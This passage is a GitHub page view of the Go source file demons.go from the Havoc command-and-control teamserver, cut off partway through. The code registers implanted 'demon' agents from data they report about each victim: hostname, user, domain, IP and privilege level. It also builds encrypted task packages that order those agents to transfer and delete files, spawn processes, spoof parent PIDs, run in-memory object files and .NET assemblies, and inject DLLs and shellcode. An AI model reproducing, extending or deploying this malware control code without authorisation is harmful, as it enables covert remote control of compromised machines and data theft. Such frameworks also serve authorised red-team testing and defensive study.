-
-
Notifications
You must be signed in to change notification settings - Fork 904
/
demons.go
3560 lines (2837 loc) · 82.8 KB
/
demons.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
package demons
import (
"bytes"
"encoding/base64"
"encoding/binary"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"math/rand"
"strconv"
"strings"
"time"
"github.com/Cracked5pider/Havoc/teamserver/pkg/colors"
"github.com/Cracked5pider/Havoc/teamserver/pkg/common"
"github.com/Cracked5pider/Havoc/teamserver/pkg/common/crypt"
"github.com/Cracked5pider/Havoc/teamserver/pkg/common/parser"
"github.com/Cracked5pider/Havoc/teamserver/pkg/logger"
"github.com/Cracked5pider/Havoc/teamserver/pkg/logr"
"github.com/Cracked5pider/Havoc/teamserver/pkg/utils"
"github.com/Cracked5pider/Havoc/teamserver/pkg/win32"
"github.com/fatih/structs"
"github.com/olekukonko/tablewriter"
)
func BuildPayloadMessage(Jobs []DemonJob, AesKey []byte, AesIv []byte) []byte {
var (
PayloadPackage = []byte{}
PayloadPackageSize = make([]byte, 4)
DataCommandID = make([]byte, 4)
DataTaskID = make([]byte, 4)
DataPayload []byte
)
for _, job := range Jobs {
for i := range job.Data {
switch job.Data[i].(type) {
case int64:
var xUint32 = make([]byte, 4)
binary.LittleEndian.PutUint32(xUint32, uint32(job.Data[i].(int64)))
DataPayload = append(DataPayload, xUint32...)
case int32:
var xUint32 = make([]byte, 4)
binary.LittleEndian.PutUint32(xUint32, uint32(job.Data[i].(int32)))
DataPayload = append(DataPayload, xUint32...)
case int:
var xUint32 = make([]byte, 4)
binary.LittleEndian.PutUint32(xUint32, uint32(job.Data[i].(int)))
DataPayload = append(DataPayload, xUint32...)
case uint32:
var xUint32 = make([]byte, 4)
binary.LittleEndian.PutUint32(xUint32, job.Data[i].(uint32))
DataPayload = append(DataPayload, xUint32...)
case string:
// Getting size of input and set size of DataPayload
var size = make([]byte, 4)
binary.LittleEndian.PutUint32(size, uint32(len(job.Data[i].(string))))
DataPayload = append(DataPayload, size...)
// append input DataPayload to buffer
DataPayload = append(DataPayload, []byte(job.Data[i].(string))...)
case []byte:
// Getting size of input and set size of DataPayload
var size = make([]byte, 4)
binary.LittleEndian.PutUint32(size, uint32(len(job.Data[i].([]byte))))
DataPayload = append(DataPayload, size...)
// append input DataPayload to buffer
DataPayload = append(DataPayload, job.Data[i].([]byte)...)
}
}
binary.LittleEndian.PutUint32(DataCommandID, job.Command)
binary.LittleEndian.PutUint32(DataTaskID, job.TaskID)
binary.LittleEndian.PutUint32(PayloadPackageSize, uint32(len(DataPayload)))
PayloadPackage = append(PayloadPackage, DataCommandID...)
PayloadPackage = append(PayloadPackage, DataTaskID...)
PayloadPackage = append(PayloadPackage, PayloadPackageSize...)
if len(DataPayload) > 0 {
DataPayload = crypt.XCryptBytesAES256(DataPayload, AesKey, AesIv)
PayloadPackage = append(PayloadPackage, DataPayload...)
}
}
return PayloadPackage
}
func AgentParseHeader(data []byte) (AgentHeader, error) {
var Header = AgentHeader{}
var Parser = parser.NewParser(data)
if Parser.Length() > 4 {
Header.Size = Parser.ParseInt32()
} else {
return Header, errors.New("failed to parse package size")
}
if Parser.Length() > 4 {
Header.MagicValue = Parser.ParseInt32()
} else {
return Header, errors.New("failed to parse magic value")
}
if Parser.Length() > 4 {
Header.AgentID = Parser.ParseInt32()
} else {
return Header, errors.New("failed to parse agent id")
}
Header.Data = Parser
logger.Debug(fmt.Sprintf("Header Size : %d", Header.Size))
logger.Debug(fmt.Sprintf("Header MagicValue : %x", Header.MagicValue))
logger.Debug(fmt.Sprintf("Header AgentID : %x", Header.AgentID))
logger.Debug(fmt.Sprintf("Header Data : \n%v", hex.Dump(Header.Data.Buffer())))
return Header, nil
}
func LogDemonCallback(agent *Agent) {
logger.Info("Agent " +
colors.Red(agent.NameID) +
" authenticated as " + colors.BoldBlue(agent.Info.Hostname+"\\"+agent.Info.Username) + " ::" +
" [Process: " + colors.Red(agent.Info.ProcessName+"\\"+strconv.Itoa(agent.Info.ProcessPID)) + "]",
)
}
func AgentRegisterInfoToInstance(Header AgentHeader, RegisterInfo map[string]any) *Agent {
var agent = &Agent{
Active: false,
SessionDir: "",
Info: new(AgentInfo),
}
agent.NameID = fmt.Sprintf("%x", Header.AgentID)
agent.Info.MagicValue = Header.MagicValue
agent.Info.Hostname = RegisterInfo["Hostname"].(string)
agent.Info.Username = RegisterInfo["Username"].(string)
agent.Info.DomainName = RegisterInfo["Domain"].(string)
agent.Info.InternalIP = RegisterInfo["InternalIP"].(string)
agent.Info.ProcessPath = RegisterInfo["Process Path"].(string)
agent.Info.ProcessName = RegisterInfo["Process Name"].(string)
agent.Info.ProcessArch = RegisterInfo["Process Arch"].(string)
agent.Info.ProcessPID, _ = strconv.Atoi(RegisterInfo["Process ID"].(string))
agent.Info.ProcessPPID, _ = strconv.Atoi(RegisterInfo["Process Parent ID"].(string))
agent.Info.Elevated = "false"
if RegisterInfo["Process Elevated"] == "1" {
agent.Info.Elevated = "true"
}
agent.Info.OSVersion = RegisterInfo["OS Version"].(string)
agent.Info.OSBuild = RegisterInfo["OS Build"].(string)
agent.Info.OSArch = RegisterInfo["OS Arch"].(string)
agent.Info.FirstCallIn = time.Now().Format("02-01-2006 15:04:05")
agent.Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05.999")
return agent
}
func AgentParseResponse(AgentID int, Parser *parser.Parser) *Agent {
logger.Debug("Response:\n" + hex.Dump(Parser.Buffer()))
var (
MagicValue int
DemonID int
Hostname string
DomainName string
Username string
InternalIP string
ProcessName string
ProcessPID int
OsVersion []int
OsArch int
Elevated int
ProcessArch int
ProcessPPID int
SleepDelay int
AesKeyEmpty = make([]byte, 32)
)
/*
[ SIZE ] 4 bytes
[ Magic Value ] 4 bytes
[ Agent ID ] 4 bytes
[ COMMAND ID ] 4 bytes
[ AES KEY ] 32 bytes
[ AES IV ] 16 bytes
AES Encrypted {
[ Agent ID ] 4 bytes // <-- this is needed to check if we successfully decrypted the data
[ User Name ] size + bytes
[ Host Name ] size + bytes
[ Domain ] size + bytes
[ IP Address ] 16 bytes?
[ Process Name ] size + bytes
[ Process ID ] 4 bytes
[ Parent PID ] 4 bytes
[ Process Arch ] 4 bytes
[ Elevated ] 4 bytes
[ OS Info ] ( 5 * 4 ) bytes
[ OS Arch ] 4 bytes
..... more
}
*/
var Session = &Agent{
Encryption: struct {
AESKey []byte
AESIv []byte
}{
AESKey: Parser.ParseAtLeastBytes(32),
AESIv: Parser.ParseAtLeastBytes(16),
},
Active: false,
SessionDir: "",
Info: new(AgentInfo),
}
logger.Debug("AES KEY\n" + hex.Dump(Session.Encryption.AESKey))
logger.Debug("AES IV :\n" + hex.Dump(Session.Encryption.AESIv))
logger.Debug("Buffer:\n" + hex.Dump(Parser.Buffer()))
if bytes.Compare(Session.Encryption.AESKey, AesKeyEmpty) != 0 {
Parser.DecryptBuffer(Session.Encryption.AESKey, Session.Encryption.AESIv)
}
logger.Debug("After Dec:\n" + hex.Dump(Parser.Buffer()))
// TODO: error handling. check if there is enough in the Parser to parse -> avoid crashing or invalid sessions
DemonID = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Parsed DemonID: %x", DemonID))
if AgentID != DemonID {
if AgentID != 0 {
logger.Debug("Failed to decrypt agent init request")
return nil
}
} else {
logger.Debug(fmt.Sprintf("AgentID (%x) == DemonID (%x)\n", AgentID, DemonID))
}
if Parser.Length() >= 4 {
Hostname = string(Parser.ParseBytes())
} else {
logger.Debug("Failed to parse agent request")
return nil
}
if Parser.Length() >= 4 {
Username = string(Parser.ParseBytes())
} else {
logger.Debug("Failed to parse agent request")
return nil
}
if Parser.Length() >= 4 {
DomainName = string(Parser.ParseBytes())
} else {
logger.Debug("Failed to parse agent request")
return nil
}
if Parser.Length() >= 4 {
InternalIP = string(Parser.ParseBytes())
} else {
logger.Debug("Failed to parse agent request")
return nil
}
logger.Debug(fmt.Sprintf(
"\n"+
"Hostname: %v\n"+
"Username: %v\n"+
"Domain : %v\n"+
"InternIP: %v\n",
Hostname, Username, DomainName, InternalIP))
ProcessName = string(Parser.ParseBytes())
ProcessPID = Parser.ParseInt32()
ProcessPPID = Parser.ParseInt32()
ProcessArch = Parser.ParseInt32()
Elevated = Parser.ParseInt32()
logger.Debug(fmt.Sprintf(
"\n"+
"ProcessName: %v\n"+
"ProcessPID : %v\n"+
"ProcessPPID: %v\n"+
"ProcessArch: %v\n"+
"Elevated : %v\n",
ProcessName, ProcessPID, ProcessPPID, ProcessArch, Elevated))
OsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()}
OsArch = Parser.ParseInt32()
SleepDelay = Parser.ParseInt32()
Session.Active = true
Session.NameID = fmt.Sprintf("%x", DemonID)
Session.Info.MagicValue = MagicValue
Session.Info.FirstCallIn = time.Now().Format("02-01-2006 15:04:05")
Session.Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05.999")
Session.Info.Hostname = Hostname
Session.Info.DomainName = DomainName
Session.Info.Username = Username
Session.Info.InternalIP = InternalIP
Session.Info.SleepDelay = SleepDelay
// Session.Info.ExternalIP = strings.Split(connection.RemoteAddr().String(), ":")[0]
// Session.Info.Listener = t.Name
switch ProcessArch {
case PROCESS_ARCH_UNKNOWN:
Session.Info.ProcessArch = "Unknown"
break
case PROCESS_ARCH_X64:
Session.Info.ProcessArch = "x64"
break
case PROCESS_ARCH_X86:
Session.Info.ProcessArch = "x86"
break
case PROCESS_ARCH_IA64:
Session.Info.ProcessArch = "IA64"
break
default:
Session.Info.ProcessArch = "Unknown"
break
}
// update this (use from meterpreter)
if OsVersion[0] == 10 && OsVersion[1] >= 0 && OsVersion[2] != 0x0000001 && OsVersion[4] == 21996 {
Session.Info.OSVersion = "Windows 11 Server"
} else if OsVersion[0] == 10 && OsVersion[1] >= 0 && OsVersion[2] == 0x0000001 && OsVersion[4] == 21996 {
Session.Info.OSVersion = "Windows 11"
} else if OsVersion[0] == 10 && OsVersion[1] >= 0 && OsVersion[2] != 0x0000001 {
Session.Info.OSVersion = "Windows 10 Server"
} else if OsVersion[0] == 10 && OsVersion[1] >= 0 && OsVersion[2] == 0x0000001 {
Session.Info.OSVersion = "Windows 10"
} else if OsVersion[0] == 6 && OsVersion[1] >= 3 && OsVersion[2] != 0x0000001 {
Session.Info.OSVersion = "Windows Server 2012 R2"
} else if OsVersion[0] == 6 && OsVersion[1] >= 3 && OsVersion[2] == 0x0000001 {
Session.Info.OSVersion = "Windows 8.1"
} else if OsVersion[0] == 6 && OsVersion[1] >= 2 && OsVersion[2] != 0x0000001 {
Session.Info.OSVersion = "Windows Server 2012"
} else if OsVersion[0] == 6 && OsVersion[1] >= 2 && OsVersion[2] == 0x0000001 {
Session.Info.OSVersion = "Windows 8"
} else if OsVersion[0] == 6 && OsVersion[1] >= 1 && OsVersion[2] != 0x0000001 {
Session.Info.OSVersion = "Windows Server 2008 R2"
} else if OsVersion[0] == 6 && OsVersion[1] >= 1 && OsVersion[2] == 0x0000001 {
Session.Info.OSVersion = "Windows 7"
} else if OsVersion[0] < 5 {
Session.Info.OSVersion = "unknown"
}
if OsVersion[3] != 0 {
Session.Info.OSVersion = Session.Info.OSVersion + " Service Pack " + strconv.Itoa(OsVersion[3])
}
switch OsArch {
case 0:
Session.Info.OSArch = "x86"
case 9:
Session.Info.OSArch = "x64/AMD64"
case 5:
Session.Info.OSArch = "ARM"
case 12:
Session.Info.OSArch = "ARM64"
case 6:
Session.Info.OSArch = "Itanium-based"
default:
Session.Info.OSArch = "Unknown (" + strconv.Itoa(OsArch) + ")"
}
Session.Info.Elevated = "false"
if Elevated == 1 {
Session.Info.Elevated = "true"
}
process := strings.Split(ProcessName, "\\")
Session.Info.ProcessName = process[len(process)-1]
Session.Info.ProcessPID = ProcessPID
Session.Info.ProcessPPID = ProcessPPID
Session.Info.ProcessPath = ProcessName
logger.Debug("Finished parsing demon")
/*if Parser.Length() >= 4 {
logger.Debug("There is more (optional info)")
for {
if Parser.Length() != 0 {
var OptionalType = Parser.ParseInt32()
switch OptionalType {
case 0:
break
case DEMON_CHECKIN_OPTION_PIVOTS:
var Count = Parser.ParseInt32()
for Count == 0 {
if Parser.Length() > 4 {
var (
DemonID = Parser.ParseInt32()
_ = Parser.ParseBytes()
CheckinJob = DemonJob{Command: COMMAND_CHECKIN}
Payload = BuildPayloadMessage([]DemonJob{CheckinJob}, Session.Encryption.AESKey, Session.Encryption.AESIv)
Packer = packer.NewPacker(nil, nil)
PivotJob DemonJob
)
Packer.AddInt32(int32(DemonID))
Packer.AddBytes(Payload)
PivotJob = DemonJob {
Command: COMMAND_PIVOT,
Data: []interface{}{
DEMON_PIVOT_SMB_COMMAND,
DemonID,
Packer.Buffer(),
},
}
Session.AddJobToQueue(PivotJob)
Count--
} else {
break
}
}
default:
logger.Debug(fmt.Sprintf("OptionalType [%v : %x] not found", OptionalType, OptionalType))
continue
}
} else {
break
}
}
}*/
return Session
}
func (demon *Agent) AddJobToQueue(job DemonJob) []DemonJob {
demon.JobQueue = append(demon.JobQueue, job)
return demon.JobQueue
}
func (demon *Agent) GetQueuedJobs() []DemonJob {
var Jobs = demon.JobQueue
demon.JobQueue = nil
return Jobs
}
func TaskPrepare(TaskID string, Command int, Info any) (DemonJob, error) {
var taskID, err = strconv.ParseInt(TaskID, 16, 32)
if err != nil {
logger.Debug("[Error] Failed to convert TaskID string to int32: " + err.Error())
taskID = 0
}
var job = DemonJob{
TaskID: uint32(taskID),
Command: uint32(Command),
Data: []interface{}{},
}
Optional := Info.(map[string]interface{})
switch Command {
case COMMAND_EXIT:
if val, ok := Optional["ExitMethod"].(string); ok {
var Exit int = 0
if val == "thread" {
Exit = 1
} else if val == "process" {
Exit = 2
}
job.Data = []interface{}{
Exit,
}
} else {
return DemonJob{}, errors.New("ExitMethod not found")
}
break
case COMMAND_CHECKIN:
break
case COMMAND_SLEEP:
var SleepTime, _ = strconv.Atoi(Optional["Arguments"].(string))
job.Data = []interface{}{
SleepTime,
}
case COMMAND_FS:
var (
Arguments = Optional["Arguments"].(string)
SubCommand = 0
)
switch Optional["SubCommand"].(string) {
case "dir":
SubCommand = 1
job.Data = []interface{}{
SubCommand,
win32.FALSE,
Arguments + "\\*",
}
break
case "dir;ui":
SubCommand = 1
job.Data = []interface{}{
SubCommand,
win32.TRUE,
Arguments + "\\*",
}
break
case "download":
SubCommand = 2
var (
FileName string
ArgArray []string
)
ArgArray = strings.Split(Arguments, ";")
if val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil {
FileName = string(val)
} else {
return DemonJob{}, err
}
job.Data = []interface{}{
SubCommand,
FileName,
}
break
case "upload":
var (
FileName string
Content []byte
ArgArray []string
)
ArgArray = strings.Split(Arguments, ";")
if val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil {
FileName = string(val)
} else {
return DemonJob{}, err
}
if val, err := base64.StdEncoding.DecodeString(ArgArray[1]); err == nil {
Content = val
} else {
return DemonJob{}, err
}
SubCommand = 3
job.Data = []interface{}{
SubCommand,
FileName,
Content,
}
break
case "cd":
SubCommand = 4
job.Data = []interface{}{
SubCommand,
Arguments,
}
break
case "remove":
SubCommand = 5
job.Data = []interface{}{
SubCommand,
Arguments,
}
break
case "mkdir":
SubCommand = 6
job.Data = []interface{}{
SubCommand,
Arguments,
}
break
case "cp":
SubCommand = 7
job.Data = []interface{}{
SubCommand,
Arguments,
}
break
case "mv":
SubCommand = 8
job.Data = []interface{}{
SubCommand,
Arguments,
}
break
case "pwd":
SubCommand = 9
job.Data = []interface{}{
SubCommand,
}
break
}
case COMMAND_PROC:
var (
SubCommand, _ = strconv.Atoi(Optional["ProcCommand"].(string))
Arguments = Optional["Args"].(string)
)
switch SubCommand {
case 2:
var pid, _ = strconv.Atoi(Arguments)
job.Data = []interface{}{
SubCommand,
pid,
}
break
case 3:
job.Data = []interface{}{
SubCommand,
Arguments,
}
break
case 4:
var (
Args = strings.Split(Arguments, ";")
Process any
ProcessArgs string
ProcessState int
ProcessPiped int
ProcessVerbose int
)
if len(Args) > 4 {
ProcArgs, _ := base64.StdEncoding.DecodeString(Args[4])
ProcessArgs = string(ProcArgs)
}
ProcessState, err := strconv.Atoi(Args[0])
if err != nil {
logger.Error("")
}
if len(Args[1]) != 0 {
Process = Args[1]
} else {
Process = 0
}
ProcessVerbose = 0
if strings.ToLower(Args[2]) == "true" {
ProcessVerbose = 1
}
ProcessPiped = 0
if strings.ToLower(Args[3]) == "true" {
ProcessPiped = 1
}
job.Data = []interface{}{
SubCommand,
ProcessState,
Process,
ProcessArgs,
ProcessPiped,
ProcessVerbose,
}
break
case 5:
var State = 0
if Optional["Args"] == "on" {
State = 1
}
job.Data = []interface{}{
SubCommand,
State,
}
break
case 6:
var (
Args = strings.Split(Arguments, " ")
QueryProtec int
)
var (
ProcID, _ = strconv.Atoi(Args[0])
)
switch Args[1] {
case "PAGE_NOACCESS":
QueryProtec = win32.PAGE_NOACCESS
case "PAGE_READONLY":
QueryProtec = win32.PAGE_READONLY
case "PAGE_READWRITE":
QueryProtec = win32.PAGE_READWRITE
case "PAGE_WRITECOPY":
QueryProtec = win32.PAGE_WRITECOPY
case "PAGE_EXECUTE":
QueryProtec = win32.PAGE_EXECUTE
case "PAGE_EXECUTE_READ":
QueryProtec = win32.PAGE_EXECUTE_READ
case "PAGE_EXECUTE_READWRITE":
QueryProtec = win32.PAGE_EXECUTE_READWRITE
case "PAGE_EXECUTE_WRITECOPY":
QueryProtec = win32.PAGE_EXECUTE_WRITECOPY
case "PAGE_GUARD":
QueryProtec = win32.PAGE_GUARD
}
job.Data = []interface{}{
SubCommand,
ProcID,
QueryProtec,
}
break
case 7: // proc::kill
var pid, err = strconv.Atoi(Arguments)
if err != nil {
logger.Debug("proc::kill failed to parse pid: " + err.Error())
return DemonJob{}, errors.New("proc::kill failed to parse pid: " + err.Error())
} else {
job.Data = []interface{}{
SubCommand,
pid,
}
}
break
}
break
case COMMAND_PROC_LIST:
var (
ProcessUI = Optional["FromProcessManager"].(string)
Value = win32.FALSE
)
if ProcessUI == "true" {
Value = win32.TRUE
}
job.Data = []interface{}{
Value,
}
break
case COMMAND_PROC_PPIDSPOOF:
var PPIDSpoof, err = strconv.Atoi(Optional["PPID"].(string))
if err != nil {
logger.Error(err)
break
}
job.Data = []interface{}{
uint32(PPIDSpoof),
}
break
case COMMAND_INLINEEXECUTE:
var (
FunctionName string
ObjectFile []byte
Parameters []byte
Flags uint32
ok bool
)
if Arguments, ok := Optional["Arguments"].(string); ok {
if Parameters, err = base64.StdEncoding.DecodeString(Arguments); !ok {
return DemonJob{}, errors.New("FunctionName not defined")
}
} else {
return DemonJob{}, errors.New("CoffeeLdr: Arguments not defined")
}
if Binary, ok := Optional["Binary"].(string); ok {
if ObjectFile, err = base64.StdEncoding.DecodeString(Binary); err != nil {
logger.Debug("Failed to turn base64 encoded object file into bytes: " + err.Error())
return DemonJob{}, err
}
}
if FunctionName, ok = Optional["FunctionName"].(string); !ok {
return DemonJob{}, errors.New("CoffeeLdr: FunctionName not defined")
}
if ObjectFlags, ok := Optional["Flags"].(string); ok {
switch strings.ToLower(ObjectFlags) {
case "non-threaded":
Flags = COFFEELDR_FLAG_NON_THREADED
break
case "threaded":
Flags = COFFEELDR_FLAG_THREADED
break
case "default":
Flags = COFFEELDR_FLAG_DEFAULT
break
default:
Flags = 0
}
} else {
return DemonJob{}, errors.New("CoffeeLdr: Flags not defined")
}
job.Data = []interface{}{
FunctionName,
ObjectFile,
Parameters,
Flags,
}
break
// TODO: make it more malleable/random values
case COMMAND_ASSEMBLY_INLINE_EXECUTE:
var (
binaryDecoded, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string))
arguments = Optional["Arguments"]
NetVersion = "v4.0.30319"
PipePath = "\\\\.\\pipe\\mojo." + strconv.Itoa(rand.Intn(9999)) + "." + strconv.Itoa(rand.Intn(9999)) + "." + strconv.Itoa(rand.Intn(999999999999)) + strconv.Itoa(rand.Intn(9999999))
AppDomainName = "DefaultDomain"
)
job.Data = []interface{}{
PipePath,
AppDomainName,
NetVersion,
binaryDecoded,
arguments,
}
case COMMAND_ASSEMBLY_LIST_VERSIONS:
break
case COMMAND_SPAWNDLL:
var (
Binary, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string))
Args, _ = base64.StdEncoding.DecodeString(Optional["Arguments"].(string))
)
job.Data = []interface{}{
Binary,
Args,
}
break
case COMMAND_JOB:
var (
SubCommand int
JobID int
err error
)
if val, ok := Optional["Command"].(string); ok {
switch val {
case "list":
SubCommand = 0x1
break
case "suspend":
SubCommand = 0x2
break
case "resume":
SubCommand = 0x3
break
case "kill":
SubCommand = 0x4
break
}
}
if val, ok := Optional["Param"].(string); ok {
JobID, err = strconv.Atoi(val)
if err != nil {
return job, errors.New("couldn't convert JobID to int")
}
}
if SubCommand == 0x1 {
job.Data = []interface{}{
SubCommand,
}
} else {
job.Data = []interface{}{
SubCommand,
JobID,
}
}
break
case COMMAND_INJECT_DLL:
var (
binaryDecoded, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string))
TargetPID, _ = strconv.Atoi(Optional["PID"].(string))
Param, _ = Optional["Arguments"].(string)
InjectMethode int
)
job.Data = []interface{}{
InjectMethode, // Injection technique syscall
TargetPID,
binaryDecoded,
Param,
}
break
case COMMAND_INJECT_SHELLCODE:
var (
TargetArch int
Argument []byte
)
if val, ok := Optional["Inject"]; ok {
if val.(string) == "true" {
Inject := 1
Binary, err := base64.StdEncoding.DecodeString(Optional["Binary"].(string))
if err != nil {
return job, err
}